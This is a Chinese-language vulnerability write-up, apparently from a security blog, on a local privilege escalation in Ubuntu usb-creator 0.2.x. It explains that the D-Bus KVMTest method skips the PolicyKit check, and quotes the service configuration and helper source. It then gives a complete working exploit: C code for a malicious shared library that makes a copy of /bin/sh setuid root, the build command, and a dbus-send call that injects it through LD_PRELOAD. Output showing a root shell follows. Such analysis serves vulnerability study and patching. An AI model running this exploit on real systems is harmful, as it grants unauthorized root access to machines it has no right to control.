Ubuntu usb-creator 0.2.x – Local Privilege Escalation

  • A+
所属分类:漏洞时代
摘要

漏洞描述: ubuntu下D-bus服务会默认挂载 com.ubuntu.USBCreator 这个服务。由于这个接口的KVMTest 方法没有调用check_polkit,通过给sh设置suid位来达到提权的目的。
一:D-Bus 简介和使用

漏洞描述: ubuntu下D-bus服务会默认挂载 com.ubuntu.USBCreator 这个服务。由于这个接口的KVMTest 方法没有调用check_polkit,通过给sh设置suid位来达到提权的目的。
一:D-Bus 简介和使用

dbus是一个低延迟,低开销,高可用的ipc机制。

http://dbus.freedesktop.org/doc/dbus-python/doc/tutorial.html

查看system总线上可挂载的服务:

dbus-send --system --print-reply --dest=org.freedesktop.DBus /org/freedesktop/DBus org.freedesktop.DBus.ListActivatableNames

查看session总线上可挂载的服务:

dbus-send --session -print-reply --dest=org.freedesktop.DBus /org/freedesktop/DBus org.freedesktop.DBus.ListActivatableNames

查看已经挂载system总线上的服务:

dbus-send --system --print-reply --dest=org.freedesktop.DBus /org/freedesktop/DBus org.freedesktop.DBus.ListNames

二:分析重现

先看下是否已挂载usbcreator服务:

[email protected]:~# dbus-send --system --print-reply --dest=org.freedesktop.DBus /org/freedesktop/DBus org.freedesktop.DBus.ListNames method return sender=org.freedesktop.DBus -> dest=:1.3264 reply_serial=2    array [       string "org.freedesktop.DBus"       string ":1.7"       string ":1.1505"       string ":1.8"       string ":1.9"       string "org.freedesktop.NetworkManager"       string "org.freedesktop.ModemManager"       string "com.ubuntu.Upstart"       string "org.freedesktop.Accounts"       string "org.freedesktop.RealtimeKit1"       string ":1.3097"       string "com.canonical.NMOfono"       string "org.freedesktop.PolicyKit1"       string ":1.21"       string ":1.23"       string ":1.24"       string ":1.49"       string ":1.2920"       string "fi.epitest.hostap.WPASupplicant"       string ":1.2921"       string ":1.29"       string "com.ubuntu.USBCreator"       string "org.freedesktop.Avahi"       string "org.freedesktop.UDisks"       string "org.freedesktop.UDisks2"       string "fi.w1.wpa_supplicant1"       string "org.freedesktop.login1"       string "org.freedesktop.ColorManager"       string "org.freedesktop.DisplayManager"       string ":1.3264"       string "org.freedesktop.NetworkManager.dnsmasq"       string ":1.30"       string ":1.52"       string ":1.10"       string ":1.3102"       string "org.freedesktop.UPower"       string ":1.0"       string ":1.13"       string ":1.14"       string ":1.2"       string ":1.37"       string ":1.101"       string ":1.2952"       string ":1.3"       string ":1.16"       string ":1.102"       string ":1.2953"       string ":1.2954"       string ":1.4"       string ":1.39"       string ":1.5"       string ":1.6"    ]

可以看到

string "com.ubuntu.USBCreator"

说明此服务已经被挂载。(ubuntu默认挂载)

查看此服务的配置文件:

[email protected]:/etc/dbus-1/system.d# cat com.ubuntu.USBCreator.conf  <!DOCTYPE busconfig PUBLIC  "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"  "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"> <busconfig>    <!-- Only root can own the service -->   <policy user="root">     <allow own="com.ubuntu.USBCreator"/>   </policy>    <!-- Allow anyone to invoke methods (further constrained by        PolicyKit privileges -->   <policy context="default">     <allow send_destination="com.ubuntu.USBCreator"             send_interface="com.ubuntu.USBCreator"/>     <allow send_destination="com.ubuntu.USBCreator"             send_interface="org.freedesktop.DBus.Introspectable"/>     <allow send_destination="com.ubuntu.USBCreator"             send_interface="org.freedesktop.DBus.Properties"/>   </policy>  </busconfig>

脚本代码在/usr/share/usb-creator/usb-creator-helper。

KVMTest方法没有check_polkit来处理权限:

100     @dbus.service.method(USBCREATOR_IFACE, in_signature='sa{ss}', out_signature='') 101     def KVMTest(self, device, env): 102         '''Run KVM with the freshly created device as the first disk.''' 103         for key in ('DISPLAY', 'XAUTHORITY'): 104             if key not in env: 105                 logging.debug('Missing %s' % key) 106                 return 107         bus = dbus.SystemBus() 108         dev = bus.get_object(DISKS_IFACE, device) 109         if dev.Get(device, 'device-is-partition', dbus_interface=PROPS_IFACE): 110             device = dev.Get(device, 'partition-slave', dbus_interface=PROPS_IFACE) 111             dev = bus.get_object(DISKS_IFACE, device) 112         # TODO unmount all the partitions.  113         dev_file = dev.Get(device, 'device-file', dbus_interface=PROPS_IFACE) 114         if mem_free() >= 768: 115             envp = [] 116             for k, v in env.items(): 117                 envp.append('%s=%s' % (str(k), str(v))) 118             cmd = ('kvm', '-m', '512', '-hda', str(dev_file)) 119             flags = (GObject.SPAWN_SEARCH_PATH) 120             # Don't let SIGINT propagate to the child. 121             GObject.spawn_async(cmd, envp=envp, flags=flags, child_setup=os.setsid)

check_polkit方法的代码如下:

288     # Taken from Jockey 0.5.3. 289     def check_polkit(self, sender, conn, priv): 290         if sender is None and conn is None: 291             return    292         if self.dbus_info is None:     293             self.dbus_info = dbus.Interface(conn.get_object(           294                                             'org.freedesktop.DBus',    295                                             '/org/freedesktop/DBus/Bus', 296                                             False), 'org.freedesktop.DBus') 297         pid = self.dbus_info.GetConnectionUnixProcessID(sender)                                                                                                                                                   298         if self.polkit is None:        299             self.polkit = dbus.Interface(dbus.SystemBus().get_object( 300                                 'org.freedesktop.PolicyKit1', 301                                 '/org/freedesktop/PolicyKit1/Authority', 302                                 False), 'org.freedesktop.PolicyKit1.Authority')                                                                                                                                   303         try: 304             # we don't need is_challenge return here, since we call with                                                                                                                                          305             # AllowUserInteraction     306             (is_auth, _, details) = self.polkit.CheckAuthorization( 307                                     ('system-bus-name', {'name': dbus.String(sender, 308                                         variant_level = 1)}), priv, {'': ''},  309                                     dbus.UInt32(1), '', timeout=600)                                                                                                                                              310         except dbus.DBusException as e: 311             if e._dbus_error_name == 'org.freedesktop.DBus.Error.ServiceUnknown':                                                                                                                                 312                 # polkitd timed out, connect again 313                 self.polkit = None         314                 return self.check_polkit(sender, conn, priv)                                                                                                                                                      315             else: 316                 raise 317  318         if not is_auth: 319             logging.debug('_check_polkit_privilege: sender %s on connection %s ' 320                           'pid %i is not authorized for %s: %s' % 321                           (sender, conn, pid, priv, str(details))) 322             raise dbus.DBusException('com.ubuntu.USBCreator.Error.NotAuthorized')

复现过程:

1. 动态库源码

$ cat test.c void __attribute__((constructor)) init (void) {  chown("/tmp/test", 0, 0);  chmod("/tmp/test", 04755); }

编译动态库

 gcc -shared -fPIC -o /tmp/test.so test.c

3. 复制/bin/sh 到/tmp/test (动态库源码中指定的)并发送dbus 消息

 $ cp /bin/sh /tmp/test $ dbus-send --print-reply --system --dest=com.ubuntu.USBCreator /com/ubuntu/USBCreator  com.ubuntu.USBCreator.KVMTest  string:/org/freedesktop/UDisks/devices/sda dict:string:string:DISPLAY,"foo",XAUTHORITY,"foo",LD_PRELOAD,"/tmp/test.so"

tips: http://www.openwall.com/lists/oss-security/2015/04/22/12中的测试发送的dbus 消息中的对象路径为 /dev/sda , 在这里测试报 dbus.exceptions.DBusException: org.freedesktop.DBus.Error.UnknownMethod: Method “Get” with signature “ss” on interface “org.freedesktop.DBus.Properties” doesn’t exist 的错误。改为/org/freedesktop/UDisks/devices/sda 错误解决。

发送dbus 消息前。 $ cp /bin/sh /tmp/test && ls -l /tmp/test -rwxr-xr-x 1 test test 105712 Apr 24 14:45 /tmp/test 发送dbus 消息后 $ dbus-send --print-reply --system --dest=com.ubuntu.USBCreator /com/ubuntu/USBCreator com.ubuntu.USBCreator.KVMTest string:/org/freedesktop/UDisks/devices/sda dict:string:string:DISPLAY,"foo",XAUTHORITY,"foo",LD_PRELOAD,"/tmp/test.so" method return sender=:1.2952 -> dest=:1.3144 reply_serial=2 $ ls -l test -rwsr-xr-x 1 root root 105712 Apr 24 14:45 test   //s位已经被设置了。 $ ./test # whoami root # id uid=1002(test) gid=1002(test) euid=0(root) groups=0(root),1002(test)

参考链接:

https://www.exploit-db.com/exploits/36820/
http://www.openwall.com/lists/oss-security/2015/04/22/12
http://dbus.freedesktop.org/doc/dbus-python/doc/tutorial.html

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: